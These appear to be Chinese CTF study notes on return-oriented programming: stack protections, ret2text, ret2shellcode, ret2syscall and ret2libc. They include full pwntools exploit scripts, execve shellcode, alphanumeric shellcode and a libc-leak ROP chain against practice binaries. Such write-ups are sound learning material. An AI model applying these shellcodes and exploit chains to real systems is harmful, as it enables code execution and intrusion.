ROP

ROP的全称为Return-oriented programming(返回导向编程)

栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

checksec

image-20231205210530558

Arch

程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32,是大端序还是小端序

RELRO

RELRO 是 “Relocation Read-Only” 的缩写,用于保护程序的全局偏移表 (GOT) 免受攻击。

Stack

Stack-canary(金丝雀保护),用于检测栈溢出攻击。它是一个随机的值,被插入到栈帧中,并在函数返回时被检查。

NX

NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署自己的shellcode并触发时,智慧直接造成程序的崩溃,但是可以利用rop这种方法绕过

PIE

PIE 是 “Position Independent Executable” 的缩写,它表示程序是否是位置无关的。

ret2shellcode 注入代码
ret2syscall 拼接需要执行系统调用的条件代码
ret2libc 调用

`

程序架构信息 条件
32位 Edx=0 —— EcX=0 —— [Ebx]=’/bin/sh’—— Eax=0xb —— Int 0x80
64位 Rdx=0 —— Rsi=0 —— [Rdi]=’/bin/sh’ —— Rax=0x3b —— syscall

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。

jarvisoj_level2

jarvisoj_level2_x64

ret2shellcode

ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。前提是无NX保护,或bss段可执行

32位与64位操作系统的shellcraft()生成的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
>>> from pwn import*
>>> context(log_level = 'debug',arch='i386',os='linux')
>>> shellcode=asm(shellcraft.sh())
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push 11 /* 0xb */
pop eax
int 0x80
>>> shellcode
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'l
>>> print(len(shellcode))
44 (0x2c)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
>>> from pwn import*
>>> context(log_level = 'debug',arch='amd64',os='linux')
>>> shellcode=asm(shellcraft.sh())
[DEBUG] cpp -C -nostdinc -undef -P -I/home/randolfluo/.local/lib/python3.8/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
>>> shellcode
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
>>> len(shellcode)
48 (0x30)

shellcode精简版

转自linux环境下shellcode的编写:32位和64位 | 码农家园 (codenong.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#########################################################################
## 一般函数调用参数是压入栈中,这里系统调用使用寄存器
## 需要对如下几个寄存器进行设置,可以比对官方的实现

ebx = /bin/sh ## 第一个参数
ecx = 0 ## 第二个参数
edx = 0 ## 第三个参数
eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号
int 0x80 ## 执行系统中断
#########################################################################


push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb
int 0x80
## 汇编之后字节长度为20字节





######################################################################
## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器
## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9

rdi = /bin/sh ## 第一个参数
rsi = 0 ## 第二个参数
rdx = 0 ## 第三个参数
rax = 0x3b ## 64位下的系统调用号
syscall ## 64位使用 syscall
#####################################################################


mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
## 汇编之后字节长度为22字节

image-20231205211551683

无任何保护,有栈溢出漏洞,但是没有system(“/bin/sh”)类型的函数,因此需要我们在bss段构造一个shell函数

image-20231205211744904

image-20231205212113245

image-20231205214725186

buf2被存放在bss段,bss 是英文 Block by Symbol 的简称。通常用来存放程序中未初始化和初始化为 0的全局变量的一块内存区域

image-20231205214701101

0x0804A080在第三行的范围 发现可读可写,达成ret2shellcode条件

生成字符串确定字符串sebp的距离

image-20231205215121126

image-20231205215533022

112(0x6c)

payload如下

1
2
3
4
5
6
7
8
9
from pwn import*
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh()) #生成一个用于打开 shell 的 shellcode,并通过 asm 函数将其转换为二进制形式。
buf2_addr = 0x0804A080
sh.sendline(shellcode.ljust(112,b'A')+ p32(buf2_addr))
#shellcode.ljust(112, b'A'):这是一个长度为 112 字节的字符串,通过在 shellcode 右侧填充字符 'A' 来确保达到指定的长度。
sh.interactive()


由于bss段在ubuntu22和ubuntu20设置为不可执行,我们只能在之前的版本(我用的是ubuntu16)运行payload

image-20231211140320550

mrctf2020_shellcode1

image-20231218134827625

payload

1
2
3
4
5
6
7
8
from pwn import*
p = process('./mrctf2020_shellcode')
context(log_level='debug',arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
gdb.attach(p)
p.sendline(shellcode)
p.interactive()

ciscn_2019_s_9

image-20231218160423512

image-20231218170827303

image-20231218161031569

可以看到未开启NX保护,我们难以确定shellcode在栈中的位置,可以借助hint函数,jmp esp(跳板指令)来跳转到栈上执行,但是由于shellcraft()生成的shellcode过长(0x2c),越过了函数的返回地址。当时我想在跳转到esp后拼接shellcode,但是失败了,原因在于fgets()限制了输入的长度。

image-20231218194301225

image-20231218170813121

我们只能自己构造较短的shellcode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
p = process('./ciscn_s_9')
context(log_level = 'debug',arch='i386',os='linux')
#shellcode=asm(shellcraft.sh())
hint_addr=0x08048554
#payload = b'A'*0x24+p32(hint_addr)+shellcode
shellcode='''
push 0x68732f
push 0x6e69622f
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al,0xb
int 0x80

'''
shellcode=asm(shellcode)
shell = '''sub esp,0x28;call esp'''
shell = asm(shell)
payload = shellcode.ljust(0x24,b'\x90')+p32(hint_addr)+shell
gdb.attach(p)
p.sendline(payload)
p.interactive()

pwnable_orw

开启了沙箱保护

image-20231219200625685

可以看到开启了沙箱保护,这里沙箱保护会限制我们可以执行的系统调用。从汇编代码中我们可以看到执行了注入的shellcode,可以被执行的系统调用如下。

image-20231219204403313

可以用汇编实现image-20231219223531623

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('node4.buuoj.cn',29831)


sys_open = '''
xor ecx,ecx;
mov eax,0x5;
push ecx; #'/0'截断字符
push 0x67616c66; #flag
mov ebx,esp;
xor edx,edx; #将 edx 寄存器清零,表示在打开文件时不设置权限(mode)
int 0x80;
'''
sys_read = '''
mov eax,0x3;
mov ecx,0x0804A127; #shellcod最后字节向前覆盖
mov ebx,0x3; #fd=3
mov dl,0x40;
int 0x80;
'''

sys_write = '''
mov eax,0x4;
mov bl,0x1; #fd=1
int 0x80;
'''
shellcode=asm(sys_open)+asm(sys_read)+asm(sys_write)
p.recvuntil("Give my your shellcode:")
p.sendline(shellcode)
p.interactive()

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

r = process('./orw')

context(log_level = 'debug',arch='i386',os='linux')

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,0x0804A127,100)
shellcode += shellcraft.write(1,0x0804A127,100)
shellcode = asm(shellcode)

r.sendline(shellcode)

r.interactive()


fd
0 stdin
1 stdout
2 stderr

注意本题的环境为ubuntu16bss段是可执行的,较高版本的则不行。

mrctf2020_shellcode_revenge

限制了输入字符image-20231220185502889

可以使用alpha3来生成shellcode

python ./ALPHA3.py x64 ascii mixedcase rax —input=”存储shellcode的文件”

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#r = process('./mrctf2020_shellcode_revenge')
r = remote("node4.buuoj.cn",29257)
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#r.recvuntil("Show me your magic!\n")


shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
payload=shellcode_64

r.send(payload) #回车不在合法范围内
r.interactive()

jarvisoj——level1

ret2syscall

image-20231205222704106

image-20231206224304713

image-20231206224403111

ida字符串搜索发现/bin/sh系统调用,地址为0x80be408需要工具ROPgadget`

image-20231229134025593

找出修改的寄存器
1
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

image-20231206223432914

1
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

image-20231206224119824

image-20231208201354573

构建rop链,其中

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

image-20231208203302563

ret2libc

Basic-ROP (yuque.com)

ROP-基础-ret2libc2_ret2libc2下载-CSDN博客

过程链接表(PLT)和全局偏移量表(GOT)

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。

image-20231207230527415

总结一下,假设我们用调用addvec函数,首先进入PLT[2]。若为第1次调用,进行动态链接,然后把控制传递给addvec。第n(n>1)调用由于addvec函数已经被加载到内存中确定的位置,则会从直接从PLT表跳转到GOT表中,在GOT表中进行函数调用。

.got.plt表用来表示函数地址

由于libc 的延迟绑定机制,我们需要泄露已经执行过的函数地址。

plt在代码段,got在数据段

plt是代码的填写者,got是代码的保存者

0x1

“/bin/sh”字符串和system函数都可以在程序找到

通过IDAPro使用快捷键ctrl+s查找plt表上的system函数

image-20231207232712108

查找/bin/sh

image-20231208202603286

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./ret2libc1')
#elf=ELF("./ret2libc1")
#system_plt=elf.plt["system"]
#binsh_addr=next(elf.Search(b"/bin/sh"))
binsh_addr = 0x8048720
system_plt = 0x8048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

0x2

找不到”/bin/sh”字符串

两种wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
sh=process('./ret2libc2')
sys_addr=0x08048490
gets_addr=0x08048460
buf2_addr=0x0804A080
#buf2_addr=elf.symbols["buf2"]
payload=flat([112*b'a',gets_addr,sys_addr,buf2_addr,buf2_addr])
#gets地址
#system地址(也是gets的返回地址)
#buf2(是gets的参数)
#buf2(是system的参数)
sh.sendline(payload)
sh.sendline(b'/bin/sh\x00')
sh.interactive()

此处的ebx用于调整栈结构

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
sh=process('./ret2libc2')
sys_addr=0x08048490
gets_addr=0x08048460
buf2_addr=0x0804A080
pop_ebx_addr=0x0804843d
payload=flat([112*b'a',gets_addr,pop_ebx_addr,buf2_addr,sys_addr,'AAAA',buf2_addr])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

0x3

都找不到

泄露libc地址,通过偏移计算出字符串地址

_start函数有一句and esp, 0FFFFFFF0h进行了堆栈平衡

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

sh = process('./ret2libc3')

#main_addr = 0x080484D0
start_addr = 0x08048618
put_plt = 0x08048460
libc_main_addr = 0x0804A024


payload = 112 * b'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)

sh.recv()
sh.sendline(payload)

libc_real_addr = u32(sh.recv(4))

print ("real_addr is:" + hex(libc_real_addr))

sh.recv()

addr_base = libc_real_addr - 0x018540

system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b

print ("system addr is:" + hex(system_addr))
print ("string_addr is:" + hex(string_addr))

payload = 104 * b'a' + p32(system_addr) + 4*b'a' + p32(string_addr)

sh.sendline(payload)

sh.interactive()

参考

一步一步学ROP之linux_x86篇 | WooYun知识库 (xmd5.com)

基本 ROP - CTF Wiki (ctf-wiki.org)

基本ROP讲解 - 知乎 (zhihu.com)

彻底搞清楚 GOT 和 PLT - 简书 (jianshu.com)